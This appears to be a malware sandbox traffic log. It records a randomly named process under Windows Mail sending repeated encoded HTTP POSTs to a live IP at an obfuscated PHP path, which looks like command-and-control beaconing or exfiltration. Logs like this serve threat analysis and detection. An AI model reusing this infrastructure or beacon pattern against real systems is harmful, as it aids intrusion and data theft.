Jan 9, 2025 04:13:28.216094971 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1764 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:28.576395035 CET	1764	OUT	Data Raw: 5f 55 59 5b 5a 59 58 5c 55 56 55 5a 56 5c 55 5c 56 57 5a 58 55 52 53 5b 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _UY[ZYX\UVUZV\U\VWZXURS[T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%'#;%$"[?> #%<)\12?38%,Y=$,+? \%#Y)4
Jan 9, 2025 04:13:28.931915045 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:29.061760902 CET	380	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:28 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0c 1a 23 59 35 17 31 04 3f 54 33 5a 2a 3c 20 09 2b 31 38 5e 28 0e 3a 03 3d 29 2d 00 2a 2d 2b 57 28 3b 2e 5d 30 54 3a 56 34 10 3a 5b 21 30 2e 59 0c 1d 39 5d 3d 15 39 0e 26 1d 30 00 3e 33 22 59 22 08 3c 04 33 2e 22 56 27 3b 2b 0b 3f 54 23 08 2b 21 2b 51 2e 3b 25 42 26 33 22 53 32 3e 21 5e 02 14 23 11 2a 03 34 0c 3e 34 20 06 25 22 2a 56 23 04 3a 1c 21 06 34 08 35 38 3d 04 2b 22 26 58 23 21 2b 02 27 33 3a 1a 23 31 0c 0f 29 23 2f 5c 2b 03 2b 49 01 31 55 56 Data Ascii: #Y51?T3Z< +18^(:=)--+W(;.]0T:V4:[!0.Y9]=9&0>3"Y"<3."V';+?T#+!+Q.;%B&3"S2>!^#4>4 %"V#:!458=+"&X#!+'3:#1)#/\++I1UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50046	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:28.418483019 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:28.763256073 CET	1048	OUT	Data Raw: 5a 56 5c 59 5f 5b 58 5f 55 56 55 5a 56 5c 55 5c 56 55 5a 52 55 57 53 58 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZV\Y_[X_UVUZV\U\VUZRUWSXT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%'441_$1+-74C,>8:19!Q<3&$,+ \%#Y)4
Jan 9, 2025 04:13:29.126698971 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:29.241731882 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50052	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:29.372601986 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:13:29.731745958 CET	1048	OUT	Data Raw: 5f 51 5c 59 5f 59 58 5b 55 56 55 5a 56 59 55 51 56 53 5a 5c 55 50 53 58 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _Q\Y_YX[UVUZVYUQVSZ\UPSXT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%39]71_3":[?>#C8);6%&*##%Y?>Z( \%#Y)
Jan 9, 2025 04:13:30.073327065 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:30.203598976 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50059	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:30.326200962 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:30.688066959 CET	1048	OUT	Data Raw: 5f 55 59 50 5f 55 58 59 55 56 55 5a 56 5a 55 5d 56 5d 5a 52 55 55 53 58 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _UYP_UXYUVUZVZU]V]ZRUUSXT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%')]4%^312]?>/"&<>89'*=(%;>7$? \%#Y),
Jan 9, 2025 04:13:31.000279903 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:31.129070997 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50068	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:31.322175026 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:31.669280052 CET	1048	OUT	Data Raw: 5a 53 59 50 5f 5a 58 5d 55 56 55 5a 56 5c 55 53 56 54 5a 53 55 5d 53 5c 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZSYP_ZX]UVUZV\USVTZSU]S\T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%'_07+>31.X+3#6?)]:&_-R+3[18>$3*/ \%#Y)4
Jan 9, 2025 04:13:32.007905960 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:32.137615919 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50074	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:32.270941019 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:32.622379065 CET	1048	OUT	Data Raw: 5f 51 59 5c 5f 58 5d 5a 55 56 55 5a 56 5e 55 56 56 50 5a 5b 55 53 53 5e 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _QY\_X]ZUVUZV^UVVPZ[USS^T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%$#Z7%32:<.7&#X=+':-<#^&)7(Z?? \%#Y)<
Jan 9, 2025 04:13:32.990453959 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:33.132744074 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50081	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:33.298285007 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:33.653654099 CET	1048	OUT	Data Raw: 5f 56 59 59 5f 5b 5d 5d 55 56 55 5a 56 59 55 50 56 52 5a 5a 55 51 53 58 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _VYY_[]]UVUZVYUPVRZZUQSXT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%09'X7%319+= #8*+)%%?3(2Y')8[(? \%#Y)
Jan 9, 2025 04:13:33.975429058 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50087	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:34.110318899 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1740 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:34.466291904 CET	1740	OUT	Data Raw: 5f 50 59 5f 5a 5b 58 58 55 56 55 5a 56 5b 55 56 56 50 5a 5c 55 55 53 5d 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _PY_Z[XXUVUZV[UVVPZ\UUS]T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%3\78![&""<. "&08%[%9R?3$,<>Q#/ \%#Y)(
Jan 9, 2025 04:13:34.779726028 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:34.913580894 CET	380	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:34 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0c 1a 23 5b 22 29 22 5d 2b 1c 3f 5b 3f 2c 0e 0d 2b 31 0a 59 29 23 39 17 2a 39 2e 5d 29 5b 3f 57 28 05 29 06 24 0b 2a 13 34 3d 25 01 35 0a 2e 59 0c 1d 39 16 3e 3b 2e 57 25 0a 2b 5a 3d 0d 2d 00 21 1f 3c 07 33 2e 36 56 30 06 28 54 28 0c 19 08 2b 21 05 1a 2f 3b 26 1a 26 20 21 0f 31 3e 21 5e 02 14 23 11 3e 3e 23 1d 29 37 05 5d 26 22 32 1c 23 03 07 0e 21 16 27 56 36 38 0c 16 2b 31 07 04 37 31 28 1c 27 30 22 19 21 32 3d 51 2a 19 2f 5c 2b 03 2b 49 01 31 55 56 Data Ascii: #[")"]+?[?,+1Y)#99.])[?W()$4=%5.Y9>;.W%+Z=-!<3.6V0(T(+!/;&& !1>!^#>>#)7]&"2#!'V68+171('0"!2=Q*/\++I1UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50089	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:34.363455057 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:34.716142893 CET	1048	OUT	Data Raw: 5f 51 59 5f 5f 59 58 59 55 56 55 5a 56 5d 55 54 56 53 5a 58 55 55 53 56 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _QY__YXYUVUZV]UTVSZXUUSVT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%3#X =]0+. *8%Y'9(#1=< \%#Y)0
Jan 9, 2025 04:13:35.052525043 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:35.187799931 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	50098	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:35.314002037 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:13:35.669285059 CET	1048	OUT	Data Raw: 5a 54 59 5c 5f 58 58 5a 55 56 55 5a 56 50 55 57 56 5c 5a 5f 55 56 53 5e 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZTY\_XXZUVUZVPUWV\Z_UVS^T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%%:#\"8=3>Z<>,"6/;%[29.?#&<87+< \%#Y)
Jan 9, 2025 04:13:36.024610043 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:36.157993078 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50105	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:36.280546904 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:36.638014078 CET	1048	OUT	Data Raw: 5a 54 59 5f 5a 5f 58 5a 55 56 55 5a 56 50 55 56 56 57 5a 5f 55 55 53 5f 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZTY_Z_XZUVUZVPUVVWZ_UUS_T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&0)3Z#&1.Z(>+Z#X=61<(1>$?<? \%#Y)
Jan 9, 2025 04:13:36.966104031 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:37.097605944 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50111	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:37.218146086 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:37.575514078 CET	1048	OUT	Data Raw: 5a 5a 5c 59 5f 5f 58 5f 55 56 55 5a 56 5b 55 53 56 5d 5a 52 55 52 53 5f 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZZ\Y__X_UVUZV[USV]ZRURS_T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&'9/Z (-'1:?=? %0)!Z':!V<U/10=/?? \%#Y)(
Jan 9, 2025 04:13:37.903207064 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:38.035408020 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50114	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:38.157850027 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:38.513639927 CET	1048	OUT	Data Raw: 5f 51 59 5d 5f 59 5d 5a 55 56 55 5a 56 50 55 5c 56 53 5a 53 55 54 53 58 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _QY]_Y]ZUVUZVPU\VSZSUTSXT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%0#Y4]%3+-?Z ;X*(!Z&))Q<020X=8+ \%#Y)
Jan 9, 2025 04:13:38.870728016 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:39.001894951 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	50115	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:39.126364946 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
